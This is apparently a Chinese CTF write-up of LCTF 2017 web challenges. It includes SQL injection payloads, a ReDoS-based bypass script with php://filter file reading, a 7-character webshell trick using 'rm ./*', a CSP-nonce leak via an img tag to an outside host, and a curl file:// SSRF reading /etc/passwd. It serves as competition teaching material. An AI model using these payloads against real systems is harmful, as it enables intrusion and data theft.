周末打一波LCTF,又被虐的不轻,昨天上了一天的课,晚上整理了一下,迟到的write up。
Simple blog padding oracle attack .login.php.swp拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 <?php error_reporting (0 );session_start ();define ("METHOD" , "aes-128-cbc" );include ('config.php' );function  show_page (    echo  '<!DOCTYPE html>  <html> <head>   <meta charset="UTF-8">   <title>Login Form</title>   <link rel="stylesheet" type="text/css" href="css/login.css" /> </head> <body>   <div class="login">     <h1>后台登录</h1>     <form method="post">         <input type="text" name="username" placeholder="Username" required="required" />         <input type="password" name="password" placeholder="Password" required="required" />         <button type="submit" class="btn btn-primary btn-block btn-large">Login</button>     </form> </div> </body> </html> ' ;} function  get_random_token (    $random_token  = '' ;     $str  = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890" ;     for ($i  = 0 ; $i  < 16 ; $i ++){         $random_token  .= substr ($str , rand (1 , 61 ), 1 );     }     return  $random_token ; } function  get_identity (	global  $id ;     $token  = get_random_token ();     $c  = openssl_encrypt ($id , METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token );     $_SESSION ['id' ] = base64_encode ($c );     setcookie ("token" , base64_encode ($token ));     if ($id  === 'admin' ){     	$_SESSION ['isadmin' ] = 1 ;     }else {     	$_SESSION ['isadmin' ] = 0 ;     } } function  test_identity (    if  (isset ($_SESSION ['id' ])) {         $c  = base64_decode ($_SESSION ['id' ]);         $token  = base64_decode ($_COOKIE ["token" ]);         if ($u  = openssl_decrypt ($c , METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token )){             if  ($u  === 'admin' ) {                 $_SESSION ['isadmin' ] = 1 ;                 return  1 ;             }         }else {             die ("Error!" );         }      }     return  0 ; } if (isset ($_POST ['username' ])&&isset ($_POST ['password' ])){	$username  = mysql_real_escape_string ($_POST ['username' ]); 	$password  = $_POST ['password' ]; 	$result  = mysql_query ("select password from users where username='"  . $username  . "'" , $con ); 	$row  = mysql_fetch_array ($result ); 	if ($row ['password' ] === md5 ($password )){   		get_identity ();   		header ('location: ./admin.php' );   	}else {   		die ('Login failed.' );   	} }else { 	if (test_identity ()){         header ('location: ./admin.php' ); 	}else {         show_page ();     } } ?> 
和njctf的一道题目比较相似,直接拿脚本来跑。
sprintf格式化字符串造成注入 成功进入后台后admin.php.swp得到再次得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );session_start ();include ('config.php' );if (!$_SESSION ['isadmin' ]){	die ('You are not admin' ); } if (isset ($_GET ['id' ])){	$id  = mysql_real_escape_string ($_GET ['id' ]); 	if (isset ($_GET ['title' ])){ 		$title  = mysql_real_escape_string ($_GET ['title' ]); 		$title  = sprintf ("AND title='%s'" , $title ); 	}else { 		$title  = '' ; 	} 	$sql  = sprintf ("SELECT * FROM article WHERE id='%s' $title " , $id ); 	$result  = mysql_query ($sql ,$con ); 	$row  = mysql_fetch_array ($result ); 	if (isset ($row ['title' ])&&isset ($row ['content' ])){ 		echo  "<h1>" .$row ['title' ]."</h1><br>" .$row ['content' ]; 		die (); 	}else { 		die ("This article does not exist." ); 	} } ?> 
sprintf造成的问题https://paper.seebug.org/386/ 
接下来就是常规的注入了,没什么过滤,payload:
1 http://111.231.111.54/admin.php?id=-1&title=%251%24' union select 1,f14g,3 from `key`%23 
萌萌哒报名系统 注册 首先访问.idea目录,得到备份文件xdcms2333.zip
看了一下,重点是register.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php 	include ('config.php' ); 	try { 		$pdo  = new  PDO ('mysql:host=localhost;dbname=xdcms' , $user , $pass ); 	}catch  (Exception  $e ){ 		die ('mysql connected error' ); 	} 	$admin  = "xdsec" ."###" .str_shuffle ('you_are_the_member_of_xdsec_here_is_your_flag' );     $username  = (isset ($_POST ['username' ]) === true  && $_POST ['username' ] !== '' ) ? (string )$_POST ['username' ] : die ('Missing username' );     $password  = (isset ($_POST ['password' ]) === true  && $_POST ['password' ] !== '' ) ? (string )$_POST ['password' ] : die ('Missing password' );     $code  = (isset ($_POST ['code' ]) === true ) ? (string )$_POST ['code' ] : '' ;     if  (strlen ($username ) > 16  || strlen ($username ) > 16 ) {         die ('Invalid input' );     }     $sth  = $pdo ->prepare ('SELECT username FROM users WHERE username = :username' );     $sth ->execute ([':username'  => $username ]);     if  ($sth ->fetch () !== false ) {         die ('username has been registered' );     }     $sth  = $pdo ->prepare ('INSERT INTO users (username, password) VALUES (:username, :password)' );     $sth ->execute ([':username'  => $username , ':password'  => $password ]);     preg_match ('/^(xdsec)((?:###|\w)+)$/i' , $code , $matches );     if  (count ($matches ) === 3  && $admin  === $matches [0 ]) {         $sth  = $pdo ->prepare ('INSERT INTO identities (username, identity) VALUES (:username, :identity)' );         $sth ->execute ([':username'  => $username , ':identity'  => $matches [1 ]]);     } else  {         $sth  = $pdo ->prepare ('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")' );         $sth ->execute ([':username'  => $username ]);     } 	echo  '<script>alert("register success");location.href="./index.html"</script>' ; 
重点是下面两行代码,满足条件即可。
1 2 3 $admin  = "xdsec" ."###" .str_shuffle ('you_are_the_member_of_xdsec_here_is_your_flag' );preg_match ('/^(xdsec)((?:###|\w)+)$/i' , $code , $matches );
满屏的pdo,注入是没戏了,总结一下我知道的解法:
人品 
某表哥跑脚本注册了100个用户,其中一个真的满足条件了。。。我怀疑表哥一生中中彩票的机会在这给用了。
条件竞争
比赛结束后交流发现很多师傅(包括我们)都用的这个方法。在做题过程中发现当注册的人数过多时,后台会清空数据库,来看index.php这段代码
1 2 3 4 5 $sth  = $pdo ->prepare ('SELECT identity FROM identities WHERE username = :username' );$sth ->execute ([':username'  => $_SESSION ['username' ]]);if  ($sth ->fetch ()[0 ] === 'GUEST' ) {  $_SESSION ['is_guest' ] = true ; } 
如果我们在清空数据库是仍然保持登录状态,上面这个判断就不会成立,自然就绕过检测了。当然我们也可以跑脚本注册大量用户来加速清空数据库的操作。
正解
说了这么多,终于来到正解了。问题出在preg_match函数。
pre_match在匹配的时候会消耗较大的资源,并且默认使用贪婪匹配。所以通过输入一个超长的字符串去给pre_match匹配,导致pre_match消耗大量资源从而导致php超时,后面的php语句就不会执行。
 
直接写个脚本来跑吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import  requestsreg_url = 'http://123.206.120.239/register.php'  login_url = 'http://123.206.120.239/login.php'  index_url = 'http://123.206.120.239/member.php'  s = requests.session() def  register ():    global  s     data = {         'username' : 'seaii1' ,         'password' : '123456' ,         'code' : 'xdsec###'  + 'A' *100000      }     s.post(reg_url, data=data) def  login ():    global  s     data = {         'username' : 'seaii1' ,         'password' : '123456' ,     } 	s.post(login_url, data=data) if  __name__ == '__main__' :    register()     login()     r = s.get(index_url + '?file=php://filter/read=convert.base64-encode/resource=config.php' )     print  (r.text) 
 
伪协议读文件 member.php
1 2 3 4 5 6 7 8 9 10 11 $_SESSION ['is_logined' ] = true ;	if  (isset ($_SESSION ['is_logined' ]) === false  || isset ($_SESSION ['is_guest' ]) === true ) {              }else { 		if (isset ($_GET ['file' ])===false ) 			echo  "None" ; 		elseif (is_file ($_GET ['file' ])) 			echo  "you cannot give me a file" ; 		else  			readfile ($_GET ['file' ]); 	} 
payload
1 http://123.206.120.239/member.php?file=php://filter/read=convert.base64-encode/resource=config.php 
解码即可得到flag。
“他们”有什么秘密呢? 手快拿了个一血,美滋滋~
访问http://182.254.246.93/entrance.php,查看源码获得提示。
简单测试了一下,union,select啥的都没过滤,可以报错。但是information、table、column等可以爆表爆列关键字被过滤了,而且过滤的很严格。
但是可以通过报错来获得表名、列名
表名 1 pro_id=1 and Polygon(pro_id) 
之前积累的这个姿势被过滤了,在手册上寻找其他函数https://dev.mysql.com/doc/refman/5.7/en/gis-mysql-specific-functions.html#function_polygon ,找到一个漏网之鱼。
1 pro_id=1 and LineString(pro_id)   
得到表名 product_2017ctf
列名 1 pro_id=1 and (select * from (select * from product_2017ctf as a join product_2017ctf as b using(pro_id,pro_name,owner,d067a0fa9dc61a6e))xxx) 
得到列名pro_id,pro_name,owner,d067a0fa9dc61a6e。明显我们需要知道d067a0fa9dc61a6e的值,但是d067a0fa9dc61a6e被过滤了。
无列名注入 1 pro_id=-1 union select 1,d,3,4 from (select 1 a,2 b,3 c,4 d union select * from product_2017ctf limit 3,1)xxx 
得到字段值为7195ca99696b5a896.php,进入下一关。
7字符限制获取webshell 从网上找了一个参考http://www.vuln.cn/6016 ,大体思路就是php代码
会将当前目录下所有文件的文件名放在一起当做一条命令执行。
首先删除保存文件目录下的index.html,他会影响命令的执行。
1 filename=bash&content=123 
1 filename=command&content=rm ./* 
1 filename=z.php&content=<?=`*`; 
之后只要修改command文件的内容执行命令就可以了。
ls /获得flag文件名:327a6c4304ad5938eaf0efb6cc3e53dc.php
cat /3*得到flag:LCTF{n1ver_stop_nev2r_giveup}
wanna hack him? (未做出) nonce 看题目,标准的xss页面,在preview.php看到设置了csp
目前针对csp-nonce的攻击大致有两种
通过浏览器缓存来bypass CSP script nonce  
但是似乎都不太适合这个题目,后来发现preview.php的nonce并不是随机的,隔一段时间才会变,推测admin_view.php也会是这样。然后就僵住了。。。
来看大佬wp,可以使用<img src='http://host/?nonce=来获取nonce,src属性的单引号会和后面的var test = 'test闭合,就可以拿到nonce了。思路不够灵活,姿势不够猥琐呀。
getflag 这里有一点小坑,拿到nonce之后手动提交payload的话bot可能访问不到,需要写脚本一次提交多条payload。
拓展-UXSS 后来看大佬wp说可以用uxss,第一次接触这个漏洞,惭愧。。。
首先是一篇科普通用跨站脚本攻击(UXSS) 
接着是大佬的wp ,写的很详细。
===================华丽的分割线===================
这两题都是ssrf,让我对ssrf有了更深的理解,详细的会更新到另一篇文章中。
(伪)签到题 (未做出) fuzz发现://后面必须是www.baidu.com,前面必须是字母数字和.。也就是说我们可以指定协议,知识点来了:
curl是支持file://host/path, file://path这两种形式, 但是即使有host, curl仍然会访问到本地的文件 
 
还有一个点是要截断url末尾自动拼接的/,使用?当做get请求的参数,或者#变成锚点都可以。
payload:
1 file://www.baidu.com/etc/flag? 
也可以先读/etc/passwd,有一个lctf用户,/home/lctf/下也有flag。。。
L PLAYGROUND (未做出) 这题官方wp写的很详细了,反正当时做的时候一脸懵逼。。。
https://github.com/LCTF/LCTF2017/blob/master/src/web/l-plarground/writeup.md